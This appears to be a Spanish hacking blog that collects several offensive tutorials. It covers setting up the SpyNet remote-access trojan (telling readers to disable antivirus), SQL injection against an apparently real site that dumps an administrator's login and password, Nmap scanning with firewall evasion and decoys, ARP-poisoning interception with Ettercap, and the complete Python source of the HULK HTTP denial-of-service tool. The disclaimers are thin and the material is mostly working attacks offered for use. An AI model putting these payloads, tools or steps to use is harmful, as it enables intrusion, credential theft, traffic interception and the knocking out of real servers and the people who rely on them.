HACKER ANGELWHITE GALC

domingo, 17 de mayo de 2015

Crea tu propio troyano paso a paso - NO-IP y SpyNet RAT PASO 1 -2




 Un sencillo tutorial para configurar tu No-IP y SpyNet RAT PASO A PASO ACTUALIZADO MAYO/2012 XD

IMPORTANTE: Es posible que tengan que desactivar el antivirus mientras hacen la instalación del archivo ya que por ser un RAT espía el antivirus lo puede clasificar como código malicioso, por lo general aparece como Malware-gen y no les va a dejar abrir el SpyNet.exe

Descarga SpyNet: http://www.mediafire.com/?851ghg53s9t...
PASS:spynet (lo ponen siempre que lo pida)


 PASO 2: 

viernes, 15 de mayo de 2015

Malware Magazine #2



Para continuar con estas entregas, les presentamos esta segunda parte la cual se basa en Botnets.

Adicionalmente a esto, podrán ver un taller de como empezar a armar un troyano desde cero en VB.NET, en cada entrega se le irán incorporando módulos nuevos hasta llegar a tener un troyano completo.

Por otro lado seguimos con el análisis de malware así como también su indetectabilidad.

Esperamos que les guste y que lo compartan!

Redactores:
- ANTRAX
- Roda
- Blackdrake
- 79137913

Editores:
- Gabriela

SQL Injection desde cero


Introducción:

Hola a todos, En este tutorial les enseñare SQLi desde cero.
Al ser un tutorial con fines educativos y no destructivos. Solamente veremos cómo obtener el usuario y contraseña de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso…
Se comenzara buscando una web cualquiera en google, buscaremos un lugar en la web para inyectar, haremos la inyección y obtendremos los datos de acceso. Pero antes comenzaremos con un poco de teoria.

SQL

Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias.
SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e índices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos).
Nos centraremos en ese último, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de interés.
Los comandos DML son:

Delete: Permite eliminar registros de la base de datos.
Update: Modifica valores de campos previamente creados.
Select: Sirve para consultas registros en la base de datos.
Insert: Carga lotes de datos en una base de datos.

Clausulas

Las clausulas son condiciones de modificación. Y se emplean para definir datos o manipularlos.
Entre las clausulas tenemos:

Order By: Ordena registros seleccionados
Group by: separa registros
Having: expresa una condición que debe satisfacer cada grupo
From: Sirve para especificar una tabla de la cual se quieren obtener registros
Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado

Operadores Logicos

Los operadores lógicos o conectivos lógicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darán un valor de verdad verdadero o falso y se leen de izquierda a derecha.
Los operadores lógicos usados son:

Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera
And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son iguales.
Not: Devuelve un valor contrario a la expresión. Si la expresión es True, devolverá False y viceversa

Operadores de comparación:


Los operadores de comparación, son utilizados para comparar dos valores o formulas.
Los operadores son:

< Menor que > Mayor que
<> Distinto que
>= Mayor o igual que
<= Menor o igual que
Between: especifica un intervalo de valores
Like: Compara un modelo
In: Especifica registros en una base de datos

Funciones de agregado

Estas formulas se utilizan dentro de la clausula Select en grupos de registros para devolver un único valor que se aplica en un grupo de registros.

Max: devuelve el valor más grande de un campo específico
Min: Devuelve el valor más chico de un campo especifico.
Sum: Se utiliza para devolver la suma de todos valores de un campo específico
Avg: calcula el promedio de un campo específico Count: Devuelve el numero de registros de la selección Limit: devuelve un rango de resultados deseados en lugar de todos los que puede devolver dicha consulta.

Otras consultas

Veremos a continuación otras consultas que se suelen utilizar en las inyecciones SQL.

Union: Sirve para combinar el resultado de dos consultas juntas.
Information_schema.tables: Devuelve información de una tabla determinada
Information_schema.columns: Devuelve información de una columna determinada
Concat: Concatena los resultados de varios campos diferentes
Group_concat: devuelve como resultado una cadena de concatenación de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres. 

SQLi

Este tipo de ataque consiste en inyectar código SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos.
Lo que haremos a lo largo de este tutorial, será inyectar código SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyección y finalmente obtener los datos de acceso al panel de administración.

Dorks:

Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables.
Un ejemplo de dork seria el siguiente: noticia.php?id=
En google deberíamos poner lo siguiente: inurl: noticia.php?id=
Esto nos arrojara muchos resultados de sitios que quizás ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una.
El método para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedaría igual.
Otra de las cosas a tener en cuenta, es que después de realizar la búsqueda, ir a las páginas del final que son las que más desactualizadas están y probablemente sean vulnerables.
Veremos a continuación un ejemplo:


Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontré esta:


Como se puede ver, ahí en la url aparece el dork que coloque en google

Pero… ¿cómo me doy cuenta si es o no vulnerable?

Acá empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta después de id= y provocar un error en la base de datos.

¿Y de qué forma podemos provocar un error?

Fácil… colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cómo se comporta la web

Pagina original:


Pagina con el -1:


Se puede notar que no han cargado elementos dentro del cuerpo de la página, esto da señal a que puede ser vulnerable.
Ahora probemos colocando una comilla:


Nos tira un error de la base de datos:
Fatal error: Call to a member function RecordCount()
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php
on line 333
Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.

SQL Injection

Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, después del id= colocaremos lo siguiente:
-1+UNION+SELECT+1,2--

Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
Lo que debemos hacer ahora, es comenzar a añadir números, hasta que ese error desaparezca.

La inyección seria así:
-1+UNION+SELECT+1,2,3--
-1+UNION+SELECT+1,2,3,4--
-1+UNION+SELECT+1,2,3,4,5--
Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!


Cuando el error ya no este, nos volverá a mostrar la pagina, y curiosamente contiene uno o mas  números en el cuerpo de la web


Ese 5 y ese 2, son números de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos números, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera.
Usare a ese 5 para que me muestre los nombres de las tablas en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:
+from+information_schema.tables--
Quedaría en mi caso, así:


Y reemplazar el número 5 (que fue el numero que nos apareció en el cuerpo de la pagina) por table_name


Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareció y apareció el nombre de una tabla en su lugar.


Lo que debemos hacer ahora, es agregar después de information_schema.tables lo siguiente:
+limit+2,1--

Quedaría algo así:


Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambió


Lo que sigue, es ir sumándole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la página
El limit debería ir de la siguiente forma:
+limit+2,1--
+limit+3,1--
+limit+4,1--
+limit+5,1--
Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.


Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algún conversor de string a ascii.


El resultado de samg_administradores es el siguiente:
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115
Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115
Guardaremos esa cadena de números para usarla luego en nuestra inyección.
Ahora volvemos a nuestra inyección y cambiaremos table_name por group_concat(column_name) y information_schema.tables por
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,11
0,105,115,116,114,97,100,111,114,101,115)--
y quitamos el +limit+ con sus valores numéricos.

Debería quedar así:
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name)
,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,
103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla


Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyección lo siguiente:
group_concat(column_name) por concat(Login,0x3a,Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:

Usuario:Contraseña

Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+
Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores
Quedándome lo siguiente:


Y en el cuerpo de la página, podremos ver los datos del administrador:

Usuario: samg
Contraseña: samg06
En caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Espero que les haya gustado y que les sea útil.

Mapeo de redes con NMAP



Introducción:
Antes de comenzar, quiero resaltar que Zenmap es casi lo mismo que Nmap, la única diferencia es que Nmap es por consola y Zenmap tiene entorno grafico
NMAP

Zenmap

NMAP (Network Mapper o Mapeador de Redes) es una herramienta para scannear puertos abiertos. Se diseño para explorar grandes redes, aunque funciona a perfecto también para hacer mapeos a equipos individuales. A demás de puertos, también dice que servicio lo utiliza y sus versiones. Otra de las cosas que suele mostrar es que filtros o cortafuegos tiene, y a veces hasta el sistema operativo que tiene el equipo entre otras docenas de cosas.
Nmap es una herramienta que se usa mucho en auditorias de seguridad y a demás muchos la usan con fines delictivos. Lo primordial es su tabla de puertos con sus estados que son los siguientes: 
Closed: Cerrado
Open: Abierto
Filtred: Filtrado
Unfiltred: No Filtrado
Abierto significa que la aplicación en la máquina destino se encuentra esperando conexiones o paquetes en ese puerto. Filtrado indica que un cortafuego, filtro, u otro obstáculo en la red está bloqueando el acceso a ese puerto, por lo que Nmap no puede saber si se encuentra abierto o cerrado.  Los puertos cerrados no tienen ninguna aplicación escuchando en los mismos, aunque podrían abrirse en cualquier momento. Los clasificados como no filtrados son aquellos que responden a los sondeos de Nmap, pero para los que que Nmap no puede determinar si se encuentran abiertos o cerrados.
A lo largo de este tutorial se encontraran con parámetros en mayúsculas y minúsculas, es muy importante que los respeten ya que varia su función.
Primeros pasos con Nmap
Haremos un simple mapeo a una red e ip cualquiera, para saber que puertos tiene abiertos
La sintaxis del comando seria así: 

NMAP [Parametro] [Host] 

En este caso no tenemos parámetros ya que es solo un simple mapeo a la IP para observer los puertos abiertos.
Tambien podemos scannear puertos que nosotros queramos, para ello con el parámetro  –p colocamos los puertos separándolos por coma
Sintaxis del comando: 

Nmap –p [Puertos] [Host]
Ejemplo:

Nmap –p 80,135,2000,8080 192.168.1.3

Ahora bien, si queremos ver el sistema operativo que tiene el equipo seria así:

Nmap –O [HOST]

Como se puede ver en el scanneo dice que resulta poco fiable la obtención del sistema operativo por qué no se encontró al menos un puerto abierto o cerrado del sistema operativo. Pero que según el Scanneo puede ser alguno de estos:
Running: Microsoft Windows 2000|XP|2003
Ahora les voy a mostrar algo que suele ocurrir no muy frecuente, pero que si es probable que les pase. Al tirar un mapeo a una pc a la cual no logre identificar su sistema operativo.
Pero que es esa cadena de texto dentro de TCP/IP Fingerprint…?
TCP/IP fingerprint:
OS:SCAN(V=5.59BETA1%D=12/30%OT=21%CT=1%CU=30523%PV=Y%DS=1%DC=D%G=Y%M=0015F2
OS:%TM=4EFDC93D%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=Z%CI=Z%II=I
OS:%TS=8)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6
OS:=3890)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST
OS:11NW6%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Esa cadena es a lo que se llama Huella TCP/IP. NMAP reconoce a un sistema operativo porque cada uno responde de una forma diferente.
En este caso nos muestra esa cadena de texto por qué no logro identificarlo con exactitud.

Ahora veremos hosts activos en una red. Para ello debemos saber la puerta de enlace. En mi caso es 192.168.1.1. Como sabemos, una red puede alojar máximo 255 hosts.  Lo que haremos será un ping scan para saber cuántos hosts hay en mi red. Asi que el comando sería el siguiente:

Nmap –sP 192.168.1.1-255

Veremos un listado como el de la imagen, el cual nos mostrara IPs, MAC, etc…
Puertos y Servicios.
Ahora scannearemos un host, veremos sus puertos, servicios y la versión de sus servicios para saber si se pueden o no explotar.
Tipeamos lo siguiente:

nmap –sV [HOST]

Como se puede ver en la imagen, hay servicios activos en sus respectivos puertos, y en caso de existir un Exploit para explotar dicho servicio, se podría vulnerar y entrar a la pc.
Los comandos se pueden combinar como en el siguiente ejemplo:
Nmap –sV –O [HOST] (Para sacar Servicios, versiones y sistema operativo)

También podemos encontrarnos con Firewalls. Y nmap cuenta con comandos para evadirlos. Uno de ellos es –f
La línea de comando nos quedaría asi:
Nmap –sV –O –f [HOST]
(Para scannear puertos, servicios, versiones y sistema operativo de forma invisible)
Y el resultado sería igual a la imagen anterior.
Como venimos viendo no existe un parámetro mejor o peor que otro,  ya que cada uno de ellos realiza tareas distintas.
Yo les acabo de mostrar los más usuales y ahora veremos que a demás de colocar la ip, también podemos colocar un dominio. por ejemplo:
nmap antrax-labs.org

Evasion de Firewalls [Stealth Scans]
Nmap cuenta con comandos para evadir Firewalls que no estén bien configurados.
Los parámetros para esto son:
-sX (Stealth Xmas Tree Scan, este tipo de scan envía paquetes con los flag FIN, URG, y PUSH activados)
-sN (Stealth, Null Scan, este tipo de scan pone en off todos los flags)
-sF (Stealth FIN Scan, este tipo de scan usa paquetes con el flag FIN activado para las pruebas)
El resultado sera el mismo al scanneo de peurtos normal.
Realiza el scanneo evadiendo el Firewall y muestra los servicios activos y en que puertos están funcionando.
Otro parámetro útil es el -P0, lo que hace este parámetro no enviar ping al objetivo antes del scanneo. De esta manera, el Firewall no bloquea el scanneo.
Exportar Resultados de Scanneos
Nmap permite exportar scanneos en formato *.TXT o *.XML
Los parámetros para ello son: -oN (txt) –oX (xml)
La sintaxis seria:

nmap –sV 192.168.1.1 –oN Desktop/test.txt

Y el texto en este caso quedaría en el Desktop y se vería así:
# Nmap 5.59BETA1 scan initiated Thu Jan  5 20:14:06 2012 as: nmap -sV -oN Desktop/test.txt 192.168.1.1
Nmap scan report for 192.168.1.1
Host is up (0.083s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    TP-LINK WR740N WAP http config
1900/tcp  open  upnp    TP-LINK TL-WR740N WAP UPnP 1.0 (ipos 7.0; UPnP 1.0)
49152/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port49152-TCP:V=5.59BETA1%I=7%D=1/5%Time=4F062EC6%P=x86_64-unknown-linu
SF:x-gnu%r(FourOhFourRequest,52,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConne
SF:ction:\x20close\r\nDate:\x20Fri,\x2006\x20Jan\x202012\x2007:14:10\x20GM
SF:T\r\n\r\n")%r(GetRequest,52,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnec
SF:tion:\x20close\r\nDate:\x20Fri,\x2006\x20Jan\x202012\x2007:14:10\x20GMT
SF:\r\n\r\n")%r(SIPOptions,44,"HTTP/1\.1\x20501\x20Unimplimented\r\nConnec
SF:tion:\x20close\r\nContent-Length:\x200\r\n\r\n");
MAC Address: D8:5D:4C:C7:DC:EE (Tp-link Technologies Co.)
Service Info: Device: WAP

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
# Nmap done at Thu Jan  5 20:15:46 2012 -- 1 IP address (1 host up) scanned in 100.25 seconds
Despistando al Host con un señuelo (Decoy Scan)
Esto sirve de alguna forma para anonimizar el scanneo. Hace creer al host que lo scannean otros hosts que no es el nuestro.
Sintaxis de parámetros:

nmap –sV –D [host1],[host2] [host]
Ejemplo:

nmap –sV –D 192.168.1.77,192.168.1.211 192.168.1.1
Y en ese caso, pensara que el que scannea es el host 192.168.1.77 y el 192.168.1.211
El resultado del scanneo sera el mismo al de Puertos y Servicios por el parametro -sV
Puertos TCP y UDP
Nmap permite filtrar puertos TCP y UDP. Los parámetros para ellos son:
TCP: -sT
UDP: -sU

Existen otros parámetros, que en este paper no explique, pero si les dejo junto a este paper una imagen que contiene todos los parámetros con una breve descripción de cada uno.

Ataque MITM mediante ARP Poisoning con Kali Linux

Primero vamos a definir lo que es una ataque Mitm, que no es mas que un tipo de ataque donde el atacante tiene la capacidad de leer, interceptar y modificar la comunicación entre dos partes sin que se den cuenta que el enlace entre ellos ha sido violado. Vamos a verlo un poco mas gráfico.


 
Que voy a usar para llevar a cabo mi ataque,

Kali Linux y un maquina virtual que es la que voy a atacar para mostrarles como se hace. Aqui vamos a usar Ettercap y Wireshark para sniffear los paquetes

En Kali Linux Abrimos Ettercap

Linux

Vamos a Sniff, y Seleccionamos Unified Sniffing

kali

Seleccionamos la interfaz por donde vamos a interceptar los Paquetes

arp

Vamos al Menu Hosts, y Seleccionamos Scan for Hosts.

mitm

Una vez Finalice, Vamos nuevamente al menu Hosts, y Seleccionamos Hosts List.

Poisoning

Aqui vamos a ver todas las máquinas que estan conectadas a la misma red.

Ataque MITM mediante ARP Poisoning con Kali Linux

En este punto debemos saber cual es el Gateway, en este caso es 10.0.0.1, y lo que vamos a hacer es tomar una de las máquinas que estan conectadas como victima y le vamos a modificar la tabla ARP para que su máquina piense que nuestra máquina atacante es su gateway y mande todos sus paquetes hacia ella, de esta forma lo podemos capturar. Pero primero vamos a ver una tabla ARP no comprometida.

GNU

Fijense en la Direcciones Fisicas de la 10.0.0.1 que es el Gateway y la 10.0.0.10 que es nuestra máquina atacante. Vamos a infectar la Tabla ARP para que la pc Víctima nos envie sus paquetes.

Volvemos a Ettercap, Elegimos el Gateway y le damos a Add to target 1

Linux

Ahora elegimos nuestra Víctima, y damos click a Add to target 2, En este caso voy a elegir la máquina virtual con Windows XP 10.0.0.15.

kali

Ya que tenemos los 2 Objetos, vamos a infectar la Tabla ARP de nuestra Victima. Para esto vamos al menu MITM y damos click en ARP Poisoning.

arp

Seleccionamos Sniff Remote connections y le Damos OK.

mitm

Vamos a volver a nuestra Máquina victima a confirmar la Tabla ARP.

Poisoning

Fijense ahora en las Direcciones físicas del Gateway (10.0.0.1) y de nuestra máquina Atacante (10.0.0.10), nos damos cuenta que son las mismas, esto quiere decir que a partir de este momento todos los paquetes de nuestra máquina víctima van a pasar primero por nuestra máquina atacante antes de llegar a su Destino.

Para captar estos paquetes podemos usar el mismo Ettercap pero me gusta usar Wireshark ya que puedo filtrar las conexiones que realmente me interesan, para darles un ejemplo, una conexión Telnet donde las credenciales viajan en texto plano, entre otros.

Ataque MITM mediante ARP Poisoning con Kali Linux

Y Ahora nos preguntamos, Que puedo hacer una vez puedo captar el Tráfico? Podemos captar contraseñas de conexiones no seguras, podemos modificar los paquetes durante el trayecto, y nos da la habilidad de llevar a cabo varios subAtaques que en un próximo articulo voy a profundizar.

Es importante mencionar, que una vez finalicemos de captar el tráfico, debemos detener el Ataque Mitm ya que si nos salimos de la red, la víctima perderá la conexión. Para esto volvemos a Ettercap, Vamos al menu Mitm, y damos Click a Stop Mitm Attack

GNU

En Este punto la tabla ARP de la Víctima vuelve a la normalidad.

Aqui vimos lo sencillo que es llevar a cabo este Ataque y al menos que no revisemos nuestra tabla ARP no nos damos cuenta de que estamos siendo víctima de un ataque del hombre en el medio. Por eso finalizo dando algunas recomendaciones, cuidemónos mucho de las conexiones WiFi públicas ya que somos un blanco fácil cuando estamos conectadas a ellas, la misma recomendaciones van a los que tiene Puntos de acceso en sus negocios y dejan que sus clientes se conecten a ella, realmente no sabemos las intenciones de estos usuarios y es por esta razón que en estos casos debemos crear una red aislada para estos usuarios para que no tengan acceso a nuestra red interna. Otro dato es que existen diversas herramientas que nos permiten llevar a cabo este tipo de ataques desde un Smartphone.

Esto es todo por el momento, esperen mas articulos, en el caso de los usuarios de Linux voy a publicar un artículo donde podemos usar una herramienta que nos alerte en caso de cualquier cambio en nuesta tabla ARP, de esta manera nos protegemos de este tipo de ataques. Estaré dedicando además un artículo exclusivo para Wireshark para que aprendamos a manejarlo.
  Fuente: jsitech.com

Hulk, herramientas para probar stress en servidores


La mayoría de las herramientas DoS comparten un problema... crean patrones repetibles, demasiado fáciles de predecir y, por lo tanto, permiten mitigar sus efectos.

HULK (Http Unbearable Load King) es una sencilla herramienta DoS escrita en Python cuyo principal objetivo es generar peticiones únicas para evitar/evadir motores de caché e incidir directamente en la carga del servidor. Las principales técnicas que utiliza son las siguientes:

- Ofuscación del origen: cada petición del cliente se envía con un agente de usuario distinto seleccionado aleatoriamente de una lista.

- Falsificación de referencias: el referer que incluye la petición está ofuscado y apunta hacia el mismo servidor objetivo u otros sitios web conocidos.

- Adhesión: utiliza comandos estándar HTTP para tratar de hacer que el servidor mantenga las conexiones abiertas mediante el uso de Keep-Alive con una ventana de tiempo variable.

- no-cache: se solicita al servidor HTTP no-cache para obtener una página única.

- Transformación de URL única: para evitar la caché y otras herramientas de optimización, se utilizan nombres de parámetros y valores aleatoriamente en cada petición, lo que hace que cada petición sea única y que el servidor tenga que procesarla en cada caso.

Resultados

El autor Barry Shteiman comenta que ha realizado pruebas contra un servidor web con 4GB de RAM y Microsoft IIS7 y fue capaz de tirarlo en menos de un minuto, lanzando todas las peticiones desde un único host.

En las siguientes imágenes se puede ver la herramienta en acción donde, en la primera (#1), se ejecuta contra una URL y a continuación comienza a generar una carga de solicitudes únicas y las envía hacia el servidor objetivo (host de la URL) y, en segundo lugar (#2), podemos ver que el servidor en algún momento empieza a dejar de responder ya que ha agotado su fondo de recursos.






nota: el parámetro opcional "safe" significa matar el proceso cuando los hilos consigan un error 500.

Código: Python
  1. # ----------------------------------------------------------------------------------------------
  2. # HULK - HTTP Unbearable Load King
  3. #
  4. # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
  5. # to their knees by exhausting the resource pool, its is meant for research purposes only
  6. # and any malicious usage of this tool is prohibited.
  7. #
  8. # author :  Barry Shteiman , version 1.0
  9. # ----------------------------------------------------------------------------------------------
  10. import urllib2
  11. import sys
  12. import threading
  13. import random
  14. import re
  15.  
  16. #global params
  17. url=''
  18. host=''
  19. headers_useragents=[]
  20. headers_referers=[]
  21. request_counter=0
  22. flag=0
  23. safe=0
  24.  
  25. def inc_counter():
  26.     global request_counter
  27.     request_counter+=1
  28.  
  29. def set_flag(val):
  30.     global flag
  31.     flag=val
  32.  
  33. def set_safe():
  34.     global safe
  35.     safe=1
  36.    
  37. # generates a user agent array
  38. def useragent_list():
  39.     global headers_useragents
  40.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  41.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  42.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  43.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  44.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  45.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  46.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  47.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  48.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  49.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  50.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  51.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  52.     return(headers_useragents)
  53.  
  54. # generates a referer array
  55. def referer_list():
  56.     global headers_referers
  57.     headers_referers.append('http://www.google.com/?q=')
  58.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  59.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  60.     headers_referers.append('http://' + host + '/')
  61.     return(headers_referers)
  62.    
  63. #builds random ascii string
  64. def buildblock(size):
  65.     out_str = ''
  66.     for i in range(0, size):
  67.         a = random.randint(65, 90)
  68.         out_str += chr(a)
  69.     return(out_str)
  70.  
  71. def usage():
  72.     print '---------------------------------------------------'
  73.     print 'USAGE: python hulk.py '
  74.     print 'you can add "safe" after url, to autoshut after dos'
  75.     print '---------------------------------------------------'
  76.  
  77.    
  78. #http request
  79. def httpcall(url):
  80.     useragent_list()
  81.     referer_list()
  82.     code=0
  83.     if url.count("?")>0:
  84.         param_joiner="&"
  85.     else:
  86.         param_joiner="?"
  87.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  88.     request.add_header('User-Agent', random.choice(headers_useragents))
  89.     request.add_header('Cache-Control', 'no-cache')
  90.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  91.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  92.     request.add_header('Keep-Alive', random.randint(110,120))
  93.     request.add_header('Connection', 'keep-alive')
  94.     request.add_header('Host',host)
  95.     try:
  96.             urllib2.urlopen(request)
  97.     except urllib2.HTTPError, e:
  98.             #print e.code
  99.             set_flag(1)
  100.             print 'Response Code 500'
  101.             code=500
  102.     except urllib2.URLError, e:
  103.             #print e.reason
  104.             sys.exit()
  105.     else:
  106.             inc_counter()
  107.             urllib2.urlopen(request)
  108.     return(code)        
  109.  
  110.    
  111. #http caller thread
  112. class HTTPThread(threading.Thread):
  113.     def run(self):
  114.         try:
  115.             while flag<2:
  116.                 code=httpcall(url)
  117.                 if (code==500) & (safe==1):
  118.                     set_flag(2)
  119.         except Exception, ex:
  120.             pass
  121.  
  122. # monitors http threads and counts requests
  123. class MonitorThread(threading.Thread):
  124.     def run(self):
  125.         previous=request_counter
  126.         while flag==0:
  127.             if (previous+100request_counter):
  128.                 print "%d Requests Sent" % (request_counter)
  129.                 previous=request_counter
  130.         if flag==2:
  131.             print "\n-- HULK Attack Finished --"
  132.  
  133. #execute
  134. if len(sys.argv) < 2:
  135.     usage()
  136.     sys.exit()
  137. else:
  138.     if sys.argv[1]=="help":
  139.         usage()
  140.         sys.exit()
  141.     else:
  142.         print "-- HULK Attack Started --"
  143.         if len(sys.argv)== 3:
  144.             if sys.argv[2]=="safe":
  145.                 set_safe()
  146.         url = sys.argv[1]
  147.         if url.count("/")==2:
  148.             url = url + "/"
  149.         m = re.search('http\://([^/]*)/?.*', url)
  150.         host = m.group(1)
  151.         for i in range(500):
  152.             t = HTTPThread()
  153.             t.start()
  154.         t = MonitorThread()
  155.         t.start()

Esta herramienta está pensada para propósitos educativos solamente y no debe ser utilizada para ninguna actividad maliciosa.

Fuentes:
 http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/
 http://www.hackplayers.com/2012/05/hulk-una-herramienta-dos-para.html